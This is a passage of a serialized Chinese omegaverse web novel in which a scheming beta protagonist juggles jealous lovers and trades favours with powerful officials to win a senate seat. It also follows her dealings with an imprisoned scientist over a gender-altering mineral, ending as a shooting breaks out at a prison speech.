进到别墅内,佣人们很自觉地开始收拾弟弟的行礼。 当然,竹席和水桶这类的还是丢掉吧,看着不符合身份。 我让诺卡去客房补妆,确认他一时半会不会再闹了,就抬起腿往弟弟的房间走。 刚进门,我就灵巧躲开丢过来的枕头。 “白无垠,你要不要点脸?”阿沐怒气冲冲瞪着我,“你什么时候给我生活费了?你什么时候给我学费了?我这几年在克亚区一直在吃西北风!” “是吗?好奇怪哦,为什么呢?”我满脸写着无辜,“哎呀,其中一定是发生了我不知道的事情,总之辛苦你。” “你他爸的除了会甜言蜜语还会什么?”阿沐气得又要拿东西砸我。 旁边分明有花瓶,他却宁愿走得远一些去拿掉在地上的枕头。 反正他发脾气发不了多久就会自己哭起来,我就无所谓了。躲得不耐烦了就干脆站在原地挨打。 直到一个枕头砸中我的额头,我装模作样“嘶”一声,阿沐立刻停下动作,“真砸中你了?” “很疼?我没用力啊。” 他急匆匆跑到我身前小心拉开我捂额头的手,“你不会躲吗?这段时间你连躲都懒得躲了?” 发现我的额头半点事都没有,他又意识到被我骗了,气狠了死盯我,终于控制不住情绪地开始哭。 眼泪啪嗒啪嗒往下掉,他哭得五官都扭了,“白无垠你这个不要脸冷心冷肺把人艹了穿上裤子就不认人的白眼狼,当初我就不应该被你骗着离开无人区,也不应该顶着你的名字去克亚区上学。” “我每天都在辛苦兼职,还得想着你在贫民窟有没有饭吃,我就是活该!” 他哭得可怜,我就在旁边安静看他哭。 等他哭够了,又突然凶狠地拽住我的衣领质问:“你到底有多少个情人!” 我眼神游移了一下,“这个嘛,你知道的啦,人生十有八九不如意,就算是我也控制不住我自己,哎呀,我也不想的。” “放你爹的狗屁!”阿沐骂脏话,“无人区那个老师我就当是你的初恋不计较,那个整天卖弄风骚的黑心医生我就当是我不在你受不住就艹的情人,那现在呢?” “跟你一起下车的那个一脸蠢相的omega呢?别告诉我你突然浪子回头金盆洗手从此专注一人了?你看我信不信?” 我义正言辞,“诶,怎么能这么说呢?诺卡虽然性格不怎么好,但他实在漂亮,家境实在雄厚啊,我想进步呀。” 阿沐冷笑,“好啊,我就当你想进步。那组织里那个叫阁新的人呢?还有阿丽呢?军火公司的那个omega,霍里家的小私生子,警官alpha还有那个参议员alpha呢?哦,是不是再给你一点时间,那个上了年纪的omega你也要拐上床?” “是了,我还没忘呢,你能离开贫民窟来上行城,还得多亏了斯科特家那对法定配偶啊。” 不是,你怎么跟死神名单一样报菜名啊?而且阿丽是无辜的,我和她是清清白白的一万零一百块关系! 而且你念少了一个人,军火商的次子缇温你还没说呢—— 作者有话说:哈哈哈有名有姓和小白有关系的人好多啊,数不过来了都[狗头叼玫瑰] 第65章 我觉得有必澄清一下,我并不是一个看见漂亮人就走不动的色中饿狼。 而且阿沐举的例子存在很大的解释空间。 于是我清了清嗓子,十分严肃地为他一一解释:“你知道的,斯科特家那两个是迫不得已。” 阿沐冷笑:“怎么?他们拿着枪对准你太阳穴,你不艹他们你就得去死?” “嘶——”我总感觉被回旋镖狠狠地打了一下。 没关系,我还能再狡辩! “贫民窟什么条件你又不是不知道,我一个月才三千块的工资又要租房又要吃饭,还得花钱疏通关系。我想好好活下去,对方又看上我忠厚老实的人品,一来二去走肾不走心理所当然。”我端起一副正人君子的模样。 见他还是一脸不相信,我继续言之以情晓之以理,“奥维拉当时在贫民窟是警督,我又不小心被卷进去叛乱宣讲,那为了活下去找个人庇护很正常吧?” 阿沐动摇了。 我继续解释:“莱文也是没办法呀,你不知道当时情况多危机,就是昂撒……昂撒就是无人区那个老师。昂撒就是个变态,是他给莱文丢诱发剂的,我为了活下去也没办法。” “至于后面军火商的克斯蒂,他之前和奥维拉关系不好,所以才对我下手的。我又在他公司上班,为了保住工作也只能答应啦。” 原本还阴沉脸色的阿沐终于控制不住软下来,可下一秒又让变得凶巴巴,“那这些就算了,你看看来到上行城后你招惹了度少人?一只手都数不过来!” “你就光看我光鲜亮丽,你知不知道我被关在小黑屋里被人虐待?” 阿沐哽住,“什么?” “你以为是我玩他们吗?其实是他们玩我!要不是我想着还没和你见面,要是我死了你在克亚区彻底无依无靠,我能那么努力地爬到现在的位置?”我张口就开始PUA,委屈又难过瞪他,把他往旁边推,“一个不小心就会被他们弄死,现在情况好了把你接过来,你就反过来质问我。” “你后悔,我还后悔呢!” 阿沐被我的一通指责弄得手足无措,也不生气了,也不难受了,别扭着嘴要笑不笑,又开始莫名其妙哭。 “我哪想到那么多!” 我再接再厉,“而且你老是拿我不理你说事。你也不想想你在外面顶着的是我的名字,昂撒他又是个变态,要是我们联系密切,他发现你了怎么办?” “我就是想你好一点,当初才让你去克亚区顶替我读书。” 咳,其实是当年我没忍住对某个来贫民窟寻找猎奇新闻的小少爷下手,之后才发现对方是校长独子,我怕去了学校校长会弄死我所以才让他替我去的。 这几年阿沐在学校过得如此艰难很难说没有校长的功劳。 不过这种事就不拿出来说了,不然他还得哭。 阿沐这会不哭了,也被我哄好了。 呵,拿捏。 不过我不能轻易给他好脸色……好吧是卡诺卡那边再不出去他又得闹。 于是我恼着一张脸对他说:“所以你说话小心一点,绝对不能把你顶替我名字的事情说出去,也不能暴露我们的真实关系。要不然我们两人都得死,死都不能死在一起,一个死在上行城,一个死在军事区。你懂了吗?” 阿沐擦干净眼泪,扬着嘴扭捏答应,“用得着你说,我书又不是白读的。” 是吗?可我看你和之前没差别啊。 出了房间,果然看见卡诺卡整个别墅到处转悠。 “你怎么才出来,我都饿了。”卡诺卡埋怨说道,又往我的小腿上踢了一下。 没用力,就是纯粹拉不下面子的另类撒娇。 这下轮到阿沐对卡诺卡眼睛不是鼻子了,剐了卡诺卡一眼,想到我的叮嘱还是忍住没出言嘲讽。 可那眼神太明显,卡诺卡眉头一皱,不高兴骂他:“你肚子饿了不会自己弄东西吃吗?看我干什么?” 阿沐嘴角抽了抽,“哦。” 气氛相当焦灼,但还没到真闹起来的时刻,于是我在骨子里的逃避因子又闹起来了。 你们吵吧,只要别蹦出什么让我掉脑袋的词语来,你们随便吵,就算骂我也行。反正我是懒得动。 到了晚上好不容易把卡诺卡送走,我就在整个别墅四处游荡,装作不经意地观察哪个犄角旮旯里装有监控。 我和阿沐的奸情如果被卡特勒发现无所谓,但组织内的事情被发现那就不得了了。 目前为止我还没有实力另外寻找一个独属于我的地盘,那我就只能尽可能的让周围变得安全。 转了一圈,没发现隐藏摄像头。 又用了组织内专用的通讯器,我竟然真的在书房和主卧两个房间发现了摄像头。 我站在摄像头能够拍摄到的位置,随手拿起报纸坐下来假装观看,实则想办法。 卡特勒果然是个掌控欲强的老狐狸,她正想尽办法地挖我底牌呢。 那我要怎么做?直接反抗?还是假装被她抓住把柄? 我目前有什么在她手上的把柄?不就是花心泛滥吗? 我估摸她也在猜测我和阿沐姐弟关系的真实性了,说不定还会顺藤摸瓜到当年阿沐顶了我号的事情。 虽说贫民窟已经爆炸,什么资料都被销毁,但保不准她这个地位的人掌握了其他消息渠道。 学校那边也要注意防范一下了,得和阿丽说说,不能让她查到我的真实身份。尤其不能让她知道我是从无人区出来的。 我猛然惊醒! 该死!我这才刚刚住上别墅呢,怎么又开始想有的没的东西!白无用,你怎么能忘记享乐的初衷呢? 最开始,你只是想要做一个混吃等死的咸鱼啊! 于是我甩了甩脑袋,迟来的兴奋充斥大脑,开始在无人的书房内打了一套乱七八糟没有章法的体操,然后就兴冲冲跑去了厨房。 都说饱暖思淫欲,这下我钱有了权也有了,总该来点美食吧? 反正别墅内只有我和阿沐两人,只要不被监控拍到那就无所谓! 阿沐这会正任劳任怨地切菜做饭,听到动静回头一看就撞上我炯炯有神的眼睛被吓了一跳。 等我靠近了,他立刻关了火,红着脸靠在洗手台边,“你那么急干什么。” “我给你检查一下身体,看看这几年你饿瘦了没。”我一本正经地拿出卷尺套他腰上开始测量,“确实瘦了啊。” “还不是你不给我生活费。” “你一个alpha还好意思向我这个beta要生活费?” “当初离开无人区的时候,你都说能让我吃饱饭的。” 我开始不高兴了,“你是为了吃饱饭才跟我走的?我以为你喜欢我。” 被戳中心思,阿沐破防气恼,“你都知道还在外面乱搞!我不给你弄了!” 气呼呼骂完,就想伸手推我。 可推来推去就是没力气,还不知怎么的把我的手放他腰上了。 他爸的,跟你们这些读过书的alpha男上床就是麻烦。 我把他欲盖弥彰的手拍掉,就准备拿他做炒饭。 “你就在这弄啊,你要不要点脸?”他又开始骂。 我面带温柔笑容把围裙撩起来塞进他嘴里,“咬着,我不爱听你说话。” 阿沐没法,只能两手在背后撑着洗手台,嘴里叼着围裙低眉顺眼看我。 “你轻点……”他含糊不清说,“我都好久没和你……” 我胡乱应付他,正准备上手呢,就感觉哪里不对经了。 尴尬,相当尴尬。 当阿丽出现在我的余光范围内时,我觉得我进入一种大脑缩水的状态。 此时此刻,恰如彼时彼刻。 “她们有话和你说。”阿丽跟没看见挂我腰上的腿似的,目光清澈又愚蠢地看着我,而她身后敞开的窗户告诉了我她的来时路。 “有什么事一定要挑在这个时候说吗?”我面无表情说道。 阿沐面红耳赤穿上裤子,甚至以为阿丽是我叫过来的,于是凶狠地瞪我一眼匆忙跑出厨房。 阿丽:“可她们真有事。” 我:“这不重要,重要的是你一定要翻窗吗?有没有什么比较体面且不会让人猝不及防的方法?比如厕所马桶之类的。” 阿丽竟然认真思考了这个问题,并且足足思考了五秒钟,才认真严肃地回答我:“不行,太小了钻不进去的。” “……你。”我刚才的怒火消失了,反而充满担忧地拍了拍阿丽的肩膀,“没事了,不用在意,我刚才就是开玩笑的,你别真去实践。我好怕你一个不小心真死了。” 阿丽忽然眯起眼睛看我,开口说:“那你可以把一万零一百块还给我了吗?” “下次一定。”我竖起大拇指,顺便转移话题:“她们找我什么事?” 脑回路简单的阿丽马上就被我转移了注意力,说:“她们让我带给你15号进入竞选参议员竞争对手的消息。” 我的竞争对手多达十个人,且每个人都有了一定的资质和政绩。 对比他们,我的劣势很明显。出身底层,没有学历,不符合上行城人的审美。 但我的优势也很明显。在不得不捏着鼻子承认克亚区拥有投票权的如今,我简直事为克亚区量身定制政客。 “你是说,我的竞争对手们打算在这短短的几天时间内把我拉下去?” 阿丽点头,从口袋里拿出一大张纸打开,“嗯,她们说你会这么说。” 我看着她这副模样,长叹一口气,“阿丽,实在不行你努力读书吧,再这样下去你就要退化了。” 阿丽没听懂什么意思,于是拿着纸条继续说:“大部分竞争对手都不用在意,卡特勒会帮你处理好。但有几个卡特勒不好伸手。” “缇温简,他背后是陪审团成员帕菲尔隆多。”阿丽说道。 我皱起眉。简家族勾搭不上卡特勒,退而求其次找上陪审团另外的成员了。 隆多家族可以算是陪审团专业户,出现了多达三位陪审团团长,这一届如果不是卡特勒横插一脚,团长的位置一定会再次落入隆多家族手中。 我在法院工作那短短的时间里没事就喜欢看各种报道和案件,知晓隆多家族是完全的亲总统派(意思是谁是总统就亲谁)。现任总统虽然满意隆多对“总统”的忠诚,但最信任的还是跟随她上任的卡特勒,于是团长就落在卡特勒头上了。 虽说很遗憾没得到现任总统的喜爱,但多年来盘根错杂的势力和夯实基础让隆多送一位年轻的alpha进入陪审团轻而易举。隆多甚至不需要如卡特勒和杜塔利雅那样在团内拉拢人心,毕竟“亲总统派”的声望在那呢,总统不至于因为点小事就失去得力助手。 在总统还是总统的时间里,隆多乖巧听话得很。 由于团长位置是由总统任命的,因此卡特勒宁愿对付杜塔利雅也不愿意对付隆多。其一是硬碰起来吃力不讨好容易两败俱伤,二是隆多权大势大还是陪审团专业户,弄死帕菲尔隆多非但不能把人打趴下,反而让总统厌烦和招惹报复。 那还不如弄死杜塔利雅来得方便呢。 卡特勒着急为卡瑟娜布局便是因为忌惮隆多。都说人死政灭,卡特勒一旦防卫失手出现意外,毫无根基的卡瑟娜就会被隆多弄死。总统就算再怎么惋惜失去了好用的人才,也会因为隆多家族的忠诚让帕菲尔隆多担任团长。 “能刺杀吗?”我问。 阿丽遗憾摇头,“防守很严密,刺杀不了。” 理解,能进入竞争残酷的陪审团还被卡特勒忌惮,要是可以轻松刺杀才怪呢。 “听她们话的意思,只要我把缇温解决掉,其他两个不如缇温的竞争对手自然就没用了?” “是,剩下的两个是帕菲尔隆多的备用选项。” 我忍不住笑,“那缇温的处境也不好啊,一大堆人盯着他呢。” 笑过之后,我又问阿丽,“她们想我怎么做?” 阿丽语出惊人:“她们说你自由发挥,艹了隆多也不是不行,她们会提供道具的。” “我在她们眼里到底什么形象啊!”我破防大骂。 对着空气胡言乱语指指点点后,我呼出一口气,说:“帕菲尔隆多性格怎么样?有谈判的可能吗?我和缇温又不是绝对竞争关系,只是争夺席位而已。我坐前一点的席位,缇温靠他关系内推坐后一点的位置,难道不行吗?” “所以她们让你自由发挥。”阿丽说,“至于谈判,你有什么能用于交换的利益吗?” 这可真难倒我了。 我就一臭外地,顶了天算豪门赘媳,能有啥他看得上眼的东西啊? 第66章 阿丽给我送了一堆资料和信息后再次翻窗走了。 这时候我也没有了搞七搞八的心情,干脆翻开资料看起来。 阿沐听到事情谈得差不多了,就回到厨房继续做饭。 “这次她们又让你干什么?”阿沐问。 其实我阿丽有关系之后,他就察觉出阿丽身后的组织不简单。但没过多久他就被我送去克亚区顶号,好不容易见面我又加入了组织,他就算再怎么不高兴也不能说什么。 我猜测组织那边也默认阿沐是我附带的一员,说不定未来某一天会派遣他和阁新共事。 只希望两人别吵起来。 “没什么,只是让我小心缇温简。”我说道。 他“哦”了一声,继续做饭。 没一会的功夫,我就把阿丽提供的资料查看完毕,然后长长叹息一口气。 我根本就没有隆多看得上且能够用来交换的利益。他想要的东西,就是我想要的东西。 出身大家族,年纪轻轻位高权重。这种人年纪轻轻就沉迷于享受,到老了就会发现人生一点遗憾都没有。他的竞争对手只会是卡瑟娜,而不是我这个从底层爬起来的小牛马。 哦,还是受制于人的小牛马。 参议院拥有权重的席位只有前二十一位,往后排的都是用来凑数的装饰。卡特勒预定给我的席位是第十三位,不上不下正好操纵的位置。 也就是说,我不仅要稳定克亚区的投票,还得确保这段时间内十三席位之后的参议员们对我没有意见。要换做是我,我也宁愿排在我前面的人是大家族出身的人,而不是底层爬上来的小牛马。 天龙人嘛,都宁愿“有尊严跪着”而不是屈辱地“站着活” 所以我该怎么做? 没有拿得出手的利益,还得提防15号前隆多有可能的黑手。 阿西吧,好烦啊,干脆也把他透了。 哈哈,开玩笑的,我连他人都没见过。 我的脑子里突然灵光一闪。 不,也不是没有机会见面,只要和卡特勒说一说就行。 卡特勒现在已经和我绑定在一起了,而我和卡诺卡订婚的消息相信没多久就能传出去。如果*借着这个理由见一见帕菲尔隆多,也不是不可以。 还能借此试探对方的性格。 不过不能明目张胆。 我的人设已经打出去了,如果在这个特殊时期被爆出来参加天龙人宴会之类的一定会被反噬,所以还是得从长计议。 当晚吃过饭后,我又和阿沐聊了一些学校的事情,就回到主卧休息。 翌日清晨,我前往了陪审团议政大楼,到达顶层和卡特勒说了这件事。 卡特勒看我的眼神再次变得意味深长和微妙。 她惊讶于我竟然会知道一些只有特定信息渠道才会有的信息。 但聪明的合作伙伴都知道给予盟友隐私空间,虽然背地里疯狂挖掘点,但表面上她做了十足的尊重。 正如我知道她在我的主卧和书房安装监控,她也知道我知道她安装了监控,我也知道她知道……打住!不要再绕弯子了! “无用,你这是把问题推给我处理了。”卡特勒笑道。 我站在她的办公桌面前,跟着她一起笑起来,“我只是个依附您的年轻人,遇到困难请教您很正常吧?” 我俩现在可是同盟,总不能只有我干活,你就在那看热闹吧? 是时候动用你那经验老道满腹算计的脑子了,团长大人! 卡特勒对我刻意的讨好不是很在意,摆摆手让我坐回沙发上。 她端着茶杯慢条斯理喝一口,沉思片刻后慢悠悠说:“隆多那个孩子还是很好相处的,又和你差不多的年纪,相信他也愿意看在我的面子上认识认识你。” “我也会适当地给他点礼物,让他愿意在几天后的竞选谦让一下。不过具体如何,还得看你自己的努力。” 这意思是卡特勒愿意牵桥搭线并让出一部分利益为我铺路了,但我能否入帕菲尔隆多的眼还得看我自己,不然卡特勒让出的利益也白搭。 听这话,我隐约猜测出隆多是随心所欲那一挂的性格。 要死,更难操控了。 不怕利欲熏心的人,也不怕小人,就怕什么东西都拥有的天龙人。这种人的阈值比常人更高,想打动他们付出的代价也比常人更高。 但有机会总好什么都没有,于是我答应了卡特勒。 我和卡特勒的效率都很快。 中午应付了跑过来培养感情的卡诺卡,下午我人就在卡特勒以“送文件”理由的安排下站在了帕菲尔隆多的办公室。 还真是低调的见面啊,只是送个文件而已谁又能想到办公室内的弯弯绕绕呢?就算传到克亚区去也会被当傻子看吧。 敲门。 里面没反应。 我看了看时间,确认了是上班时间不是午休时间,于是又敲了敲。 这会里面才传出声音让我进去。 “打扰了,隆多先生。”我拿着纸质文件进入办公室。 我也终于看见这位不怎么在社交媒体出现却位高权重的年轻alpha男性长什么样子。 嗯,是福利男。 看看这大方敞开露出奶色胸膛的白衬衫,再看看那挂脖子上的皮质环扣,谁能知道这是alpha啊,还以为是某某酒店的头牌呢。 我面不改色,“下午好,隆多先生,这是您要的文件。” 隆多看起来刚刚睡醒,一头茂密浓黑的长卷发有些许凌乱,我悄悄看见好几缕头发调皮地钻进敞开的衣领里挠着粉红色的小梅花。 不是,就拿这个考验小白? 小白经得住考验? 经得住。小白只是好色而已,还不至于看见个福利男就走不动道。但他要是拿出一百块钞票就另说,因为小白最忍受不了金钱诱惑了。 “放着。”隆多懒散地靠在靠背椅上,眼睛都不带睁开地说道。 我低声应答:“是,隆多先生。” 抬起腿,缓步靠近,走到他的办公桌前将纸质文件放在他的桌面上。 放完之后我没有动,就这样安静地看着他,看他什么时候能睁开眼。 你睁眼看看我,我不信你两眼空空…… 嗯?这是哪里蹦出来的台词? 安静的办公室似乎让隆多更加困倦了,呼吸也渐渐平稳均匀。看着简直毫无戒备心,可我知道但凡我做出任何一点点对他不利的举动,隐藏在窗外保护的人就会朝我的脑袋精准射出一颗子弹。 今后还有机会见面,我想了想,决定退出去。 就在我准备转身前,隆多竟然睁开了眼。 是深蓝色,深到几乎看不见底的眼睛。没有丝毫的困倦,反而像是什么慵懒的大型猛兽看见猎物时的眼神。 比起卡特勒的内敛,他完全不介意将自己的野心袒露出来。 好在我见过大世面,被这样的眼神盯着也没有怯场,反而露出憨厚的傻笑,“不小心吵醒您了吗?我很抱歉。” 隆多沉默地注视我,良久才说:“你没有喷香水。” 我一愣,然后不好意思又羞赧地挠挠头,“隆多先生,我是beta,不需要喷香水。而且我囊中羞涩,实在买不起昂贵的奢侈品。” 他听完,嘴角毫无意义地扯了扯。 “过来。”他说。 我绕过了办公桌来到他的身边,态度恭敬地弯下腰,“您有什么要吩咐的吗?” 靠近了,我什么也没有闻到。 这有点不符合alpha和omega们的刻板印象。众所周知,天龙人们,尤其是alpha和omega们都喜欢喷点欲盖弥彰的香水来彰显品味。 有些人会选择和信息素接近的香水,有些人则会喜欢轮着换。 可隆多的气味干干净净,一定要说有什么味道,那就是昂贵丝绸和香氛组合起来的味道,俗称老钱味。 在我思考时,隆多动了。 他缓慢地抬起手,然后理所当然地把掌心覆盖到了我的后脖颈上。 仅仅是一瞬间,我全身上下所有的警觉细胞炸开,致命点被把握的危机感让我绷紧肌肉差点反手给他一拳! 但我聪明的大脑和惊人的理智制止了我! 太好了!我的理智救了我的大命! alpha男性骨架很大,压在我的后脖颈上让我有了随时会被掐断脖子的错觉。 我很想说这他爸的是职场潜规则和骚扰,但碍于我本人心里就有点不可言说的小九九所以我默认了他的行为。反正按照我俩的身份地位和脸蛋来说我不吃亏,说不定我真能把他也透了。 “是beta啊。”他语气慢悠悠说道。 我面红耳赤一动不敢动,身体僵硬任由他摩挲后脖颈企图寻找腺体的动作。 过了大概十几秒的时间,他才慢悠悠地把手收回去,“你想要十三席位?” 好直接,和他的行为作风一样。 我眨眨眼,直起腰来心有余悸地抚摸后脖颈,再次露出憨厚的笑容,“不敢当,只希望隆多先生愿意提携我。” “可以给你。”隆多盯着我的眼睛说道。 真是矛盾的人,语气和动作慢悠悠的,但说出的话却直截了当。 我做出恭敬耐心倾听的模样,等待他提出条件。 “卡特勒给我的东西还不错,但还少了点东西。”他翻越文件说道, 但我没有立刻答应,而是委婉试探:“我只是个贫民窟出来的人,能拿出什么让您喜欢的东西吗?” “克斯蒂简,是你的情人。”他看完文件后,调整椅子面对我后打了个哈欠,一条腿便理所当然地插足到我□□,鞋跟攀爬上我的小腿,“卡特勒只以为克斯蒂能帮你处理尸体,但缇温告诉我,军事区里某些人也会帮你处理尸体,卡瑟娜就是其中之一。” 短短的话里信息量爆炸,我的脑子又开始告诉运转起来。 原来替我处理尸体的人还包括卡瑟娜。那么缇温知道卡瑟娜是组织的人吗?应该不知道,他只会好奇为什么我会和卡瑟娜有瓜葛。如果知道他一定会在刚刚见面不久就提出来。 隆多呢?隆多有去搜查吗?大概率没有。上行城和军事区的关系不怎么好,隆多的手伸不到那么远,所以才需要和缇温合作。但他一定知道卡瑟娜和卡特勒之间不怎么好的母女关系了。 毕竟这事很大,卡瑟娜没理由处理好尸体后不给与杜塔利雅有利益瓜葛的卡特勒一个交代。 所以隆多看上的是我在军事区有可能利用卡瑟娜撬动卡特勒位置的关系网。 又来了,聪明人和天龙人的弯弯绕绕,弄得我头皮发麻。 我垂眸,眼看他的鞋跟已经攀爬上了我的膝盖,直至到达大腿中部被我的手制止。 “我明白,隆多先生。除此之外还有别的吩咐吗?” 他把腿收回去了,终于舍得扬起带点真心的笑。 “下次见我,避着点你的未婚夫。” “是。” 我离开了隆多的办公室,一想到今晚阿丽会露出的表情就有点胃疼。 现在好了,在她们眼里我的形象彻底扭转不过来了。 我原本只想好好做事,让对方看见我的实力赏识我给我机会的,但谁让他一上来就光速白给啊。 这我能想到吗?我自己都想不到! 路过一处办公室玻璃,我仔细看了看倒影的形象。 虽然有些模糊,但还是能看清楚五感的。 别说,还真别说,低眉顺眼不说话的模样还真和电视剧里那些“破碎感”“清冷疏离有自尊白月光”的主角差不多。再扬起微笑,又多了点温柔包容的气质。 真帅,不愧是矿工白师傅!—— 作者有话说:上行城魅魔小白,福利男光速白给[点赞] 说好了给小白当参议员,结果搞了那么多章[笑哭]没办法,后期要出现的人物更多,于是只能努力铺垫了。 第67章 “他这就答应了?”卡特勒得到了我的好消息后有些惊讶,怀疑的目光在我身上扫来扫去,“隆多那个年轻人,想要的东西可不少。” 我轻轻咳嗽一声,有些尴尬地把视线移开,“啊,嗯,确实不少。” 卡特勒更加怀疑了,“所以你给了他什么好处?” “陪他困觉。”我老实回答。 卡特勒哽住,怀疑的目光变得复杂而微妙,仿佛在看什么上行城魅魔,并且是位高权重alpha男性专供版。 哈哈,别说她了,我有些时候自己都数不清楚到底和多少人搞过。 在她复杂的注视下,我尴尬地挠一挠后脑勺,像是什么也不知道的木讷老实人说:“那我就先回去了。” “嗯。”卡特勒点点头。 离开办公室,我终于稍稍地松一口气。 虽然我说的是实话,但卡特勒不会完全相信。 我俩现在对彼此的多疑的性格深知肚明,但同盟的关系让我们都留给了对方明面上足够的隐私空间。 有什么底线暗地里试探就好,闹到明面上不仅不好看,还有可能被其他政治敌人趁机下手。 坐上了专车司机,我现在要去的是监狱。 摩挲膝盖上的布料,我感受到指间传来布料的粗糙感。 我果然不喜欢那些昂贵的布料,就算到现在这个地位也更喜欢粗糙且方便行动更利于保护自身的衣物。 简直像是扎根在泥泞里,爬起来后无论怎么洗,也洗不掉那股泥土里爬出来的味道。 不过我也不打算洗,就这样过下去。 谁又能真正改变我呢? 谁也改变不了白无垠。 指间摩挲得差不多了,我收回手。 隆多认为可以越过卡特勒直接和我合作,只要我愿意在军事区给他行个方便。 但我很清楚,我和卡瑟娜根本不熟悉,只知道她是组织内等级较高的内部成员。 她之所以帮我处理尸体,也不过是为了给组织效力。而仅仅这一点,就让隆多认为我和卡瑟娜之间有坚固的利益关系。 车内很安静,很有职业素养的专车司机全程保持安静让车辆平稳行驶。 我微微侧眸看向窗外。 短短两天的时间,组织制造的暴乱痕迹就被清扫干净,看不出一丝混乱和肮脏。 缓缓呼出一口气。 不要急,耐心地寻找信息,总会知道怎么做的。 到达监狱,我抬头看了看新装修的监狱,只觉得头顶的阳光有些刺眼睛,于是又把头低下去了。 “现在是不是应该称呼你为白议员?”邦林顿霍里歪歪斜斜撑着电梯墙壁问我。 “不要这样说。”我开始脸红搓手,“我还是很感谢你的,霍里警官。” 金发碧眼的警官眯着眼笑。 一段时间没见面,他还是这个样子。 其实现在我俩的关系比较尴尬。 最开始他是打算把我拉进来当一次性棋子用完就丢,但没想到被我洗车了,后期还被我利用着攀上了卡特勒。 站在他的视角上看,恐怕柯里亚纶也是莫名其妙地退让了。 谁都看谁不爽,且心知肚明,但就是没点出来,保持着那若有若无的暧昧氛围。 “今晚有空么?”他靠近我,皮质手套点在我的手背上。 “这不好吧。”我假装为难,“等会还有工作呢。” 霍里直起身子,“哇哦,你在拒绝我?” “我哪敢啊。”我立刻做出委屈的模样,“我只是不知道该怎么面对你,霍里警官。你知道的,这几天事情太多,到现在我手臂上的伤还没好呢。” alpha警官的视线轻飘飘落在我的手臂上,似乎要透过我的西装外套看向里面包裹的绷带。 良久,他轻哼一声,在电梯门打开后就迈开长腿先离开了。 我目送他离开,等电梯门关上后等待下一楼层。 “叮!” 狱警等候多时,看见我后恭恭敬敬满脸堆笑地引着我到达指定的单人监狱。 看着坐在里面的女人,我对狱警摆摆手,又给他塞了一叠钞票(阿沐的家当),小声说:“麻烦你了,警官。” 狱警收了钱,谄媚点头:“是,是,大人,您放心聊,我不会让人过来的。” 等狱警走远了,我才用钥匙打开了门进到里面。 “我还以为要等很久。”辛罗娅说道。 我将单人间内唯一的椅子拉过来坐下,和她面对面直奔主题,“你想去哪里?” “她们想让我去哪里?”辛罗娅反问。 “自然是能发挥你才能的地方。”我回答,“医学实验室,如何?” 辛罗娅的双眼亮起来,“随便我怎么玩都可以?” “不是。”我说,“你需要替我们研究一个东西。” 我将装有白矿石粉末的玻璃管拿出来递给她,“我们希望你将这个东西研究彻底,最好为我们所用。” “你不是很好奇人类的六种性别吗?我想这种东西应该能帮助你,也能解答你的疑惑。只要你用心研究。” 辛罗娅的目光聚焦在我手中小小的玻璃管里,迫不及待地伸出手把玻璃管抢过去。 白色的细腻粉末安静躺在透明的玻璃管内,像是冬天里的雪一样洁白。 她小心翼翼打开了木塞,倒出一点在掌心内,然后用食指黏了一点舔舐。 我有些惊讶,但想到辛罗娅这为了研究性别对杜塔利雅孩子做的非法实验,又很理解了。 疯子嘛,都是这样的。 “什么味道?”我好奇询问。 “没有味道。”没尝出味道,辛罗娅没有失望,而是更加小心地把木塞按回去,说:“但我知道这是刚刚提取出来纯度高达百分之九十的矿石。这个纯度,只要我往自己的后脖子内注射0.1克,我的性别就会发生变化。” 她的表情太狂热,我更加好奇了,忍不住把身子往前靠,“你之前知道这个东西?” “我知道。”辛罗娅张开了白岑岑的牙齿,“我来上行城之前认识几个从无人区出来的人,她们专门开采矿石,然后运送到白灯湾。” “她们是谁?” “不知道,很多年前的事情,我早忘了。”辛罗娅摇头,继续问我实验室的问题:“我要去哪个实验室?” 见她不再提,我也知趣不说。 朝她扬起一抹微笑,我对她说:“原本我们打算把你安排在上行城以后方面联系,但你毕竟杀了人,继续待在上行城不好交代。所以我们决定把你送回克亚区。山高路远,上行城和白灯湾就算要查,也没那么快。组织的本部也在克亚区,你能得到很好的保护。” “资金给足吗?”辛罗娅问。 “你要,我们就有。”我与她距离更近了,几乎能看见她眼底迸发而出的兴奋,“就算把上行城的人全部打劫了,我们也给你批。” “在哪个实验室?” 我报出了一个大学的名字。 她露出不出预料的眼神,“好,我去。” 我和她的谈话结束,晚上就能以“二十年免费志愿”的命运将辛罗娅送出上行城。 虽然上行城的人更多是恨不得辛罗娅去死,但这种紧要特殊关头,还真不敢判处辛罗娅死刑,否则会引起更大的舆论。 “大人,您已经聊好了?”狱警见我出来,又是谄媚地朝我走来。 我面带赏识他的微笑,亲切又温和地替他整理一下有些凌乱的衣领,说:“你很好,我想你以后一定会很有出息,我看好你。” 狱警受宠若惊,“不,不劳烦您。” “怎么会呢?”我笑了笑,“这是你应得到的。” 三天后,你就等着暴毙吧。 任何有可能传出我贿赂警官的消息,都不会透露出去。和辛罗娅秘密聊天的事情,也不能漏出去一丝一毫。 没办法嘛,特殊时期。 离开这一层,我又乘坐电梯来到了一楼。 囚犯们已经在狱警的安排下乖乖坐好,等待又一次的公益演讲。 卡特勒安排过来的助理恭恭敬敬地地上了演讲稿,“白女士,这是演讲稿。” 我随便翻开来,用铅笔在上面随便划两下,又把笔收回去了。 阳光依旧刺眼,但站在遮阳棚下的我不必忍受炎热的天气。 囚犯们不敢说话,尽管大中午的不给他们休息和吃饭颇有微词,但敢怒不敢言,瞧着眼神就知道对我竖起了无数中指。 无所谓,反正我今天的目的是为了栽赃陷害和清楚竞争对手,讲的就是先下手为强。 至于囚犯们怎么想,我目前还不缺他们的选票。 但该有的人设还是得有的。 于是我招来助理说,“给大家发放餐食吧。中午休息时间只有这么一点点,我演讲之后他们就没时间吃饭了。” 助手有些意外,但还是吩咐下去。 餐食发放下去,面对囚犯们惊讶的眼神,我面带宽和亲切的微笑,对他们说:“我只是一个底层出来的人,虽然没什么本事,但能够和大家感同身受,知道饿肚子的感受。” “我没有规矩,我始终和你们一样。” 说了一大堆场面话,我面带笑容看他们一边看狼吞虎咽吃饭,一边小心翼翼把目光投向我。 “砰!”枪声响起。 站在我身边的狱警应声倒地—— 作者有话说:今天出门了有点忙,来不及纠错别字,今晚再仔细检查[玫瑰] 第68章 “蠢货!谁让你在这个关键时期刺杀人的!” 凶狠的一巴掌精准地打在了alpha男的脸上。 “我真的没有派人刺杀她!”alpha男焦急解释说道。 